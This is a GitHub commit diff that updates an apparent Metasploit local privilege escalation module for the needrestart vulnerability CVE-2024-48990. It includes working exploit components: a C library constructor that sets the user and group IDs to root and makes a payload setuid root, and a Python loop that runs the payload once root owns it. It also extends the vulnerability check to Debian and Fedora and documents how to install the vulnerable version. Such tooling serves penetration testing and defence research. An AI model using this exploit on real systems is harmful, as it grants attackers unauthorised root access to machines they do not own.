Skip to content

Commit d778f54

Browse files
committed
needrestart improvements
1 parent 1939496 commit d778f54

File tree

4 files changed

+33
-11
lines changed

4 files changed

+33
-11
lines changed

data/exploits/CVE-2024-48990/lib.metasm

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -23,5 +23,5 @@ void a(void) __attribute__((constructor));
2323
void __attribute__((constructor)) a() {
2424
setuid(0);
2525
setgid(0);
26-
system("chown root:root 'PAYLOAD_PATH'; chmod a+x 'PAYLOAD_PATH'; chmod u+s 'PAYLOAD_PATH' &");
26+
system("chown root:root 'PAYLOAD_PATH'; chmod a+x,u+s 'PAYLOAD_PATH'");
2727
}

data/exploits/CVE-2024-48990/sleeper.py

Lines changed: 6 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -5,10 +5,13 @@
55
print("#########################\n\nDont mind the error message above\n\nWaiting for needrestart to run...")
66

77
while True:
8-
file_stat = os.stat('PAYLOAD_PATH')
8+
try:
9+
file_stat = os.stat('PAYLOAD_PATH')
10+
except FileNotFoundError:
11+
break
912
username = pwd.getpwuid(file_stat.st_uid).pw_name
1013
if (username == 'root'):
11-
print("Payload owned by: " + username)
12-
os.system('PAYLOAD_PATH &')
14+
#print("Payload owned by: " + username)
15+
os.system('PAYLOAD_PATH')
1316
break
1417
time.sleep(1)

documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,12 @@ attacker-controlled PYTHONPATH environment variable.
66

77
Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1
88

9+
### Debian
10+
11+
Install: `apt-get install needrestart=3.6-4+deb12u1`
12+
13+
Binary location: `/usr/sbin/needrestart`
14+
915
## Verification Steps
1016

1117
1. Install the application

modules/exploits/linux/local/ubuntu_needrestart_lpe.rb

Lines changed: 20 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -71,24 +71,37 @@ def check
7171
'22.04' => Rex::Version.new('3.5-5ubuntu2.2'),
7272
'20.04' => Rex::Version.new('3.4-6ubuntu0.1.esm1'),
7373
'18.04' => Rex::Version.new('3.1-1ubuntu0.1.esm1'),
74-
'16.04' => Rex::Version.new('2.6-1ubuntu0.1.esm1')
74+
'16.04' => Rex::Version.new('2.6-1ubuntu0.1.esm1'),
75+
'12' => Rex::Version.new('3.6-4.deb12u2'), # debian bookworm
76+
'11' => Rex::Version.new('3.5-4.deb11u4'), # debian bullseye
77+
'41' => Rex::Version.new('3.8-1.fc41') # fedora 41
7578
}
7679
info = get_sysinfo
77-
return CheckCode::Safe('Only Ubuntu is exploitable') unless info[:distro] == 'ubuntu'
78-
79-
version = info[:version].split(' ')[1].slice(0, 5) # take off any extra version info
80-
return CheckCode::Safe("Ubuntu version #{version} is not vulnerable") unless fixed_versions.key? version
80+
return CheckCode::Safe('Only Ubuntu/Debian/Fedora have check functionality') unless ['debian', 'ubuntu', 'Fedora'].include? info[:distro]
81+
82+
if info[:distro] == 'ubuntu'
83+
version = info[:version].split(' ')[1].slice(0, 5) # take off any extra version info
84+
return CheckCode::Safe("Ubuntu version #{version} is not vulnerable or untested") unless fixed_versions.key? version
85+
elsif info[:distro] == 'debian'
86+
version = info[:version].split(' ')[2]
87+
return CheckCode::Safe("Debian version #{version} is not vulnerable or untested") unless fixed_versions.key? version
88+
elsif info[:distro] == 'Fedora' # untested XXX need to confirm
89+
version = info[:version].split(' ')[1]
90+
return CheckCode::Safe("Fedora version #{version} is not vulnerable or untested") unless fixed_versions.key? version
91+
end
8192

8293
return CheckCode::Safe('needrestart binary not found') unless command_exists?('needrestart')
8394

8495
package = cmd_exec('dpkg -l needrestart | grep \'^ii\'')
8596
package = package.split(' ')[2]
8697
package = package.gsub('+', '.')
98+
package = package.gsub('needrestart-', '') # fedora specific
8799
package = Rex::Version.new(package)
88100
return CheckCode::Safe('needrestart not install, or not detected.') if package.nil?
89-
return CheckCode::Appears("Vulnerable needrestart version #{package} detected on Ubuntu #{version}") if package < fixed_versions[version]
90101

91-
CheckCode::Safe("needrestart is not vulnerable on Ubuntu #{version}")
102+
return CheckCode::Appears("Vulnerable needrestart version #{package} detected on Ubuntu/Debian/Fedora #{version}") if package < fixed_versions[version]
103+
104+
CheckCode::Safe("needrestart is not vulnerable on Ubuntu/Debian/Fedora #{version}")
92105
end
93106

94107
def exploit

0 commit comments

Comments
 (0)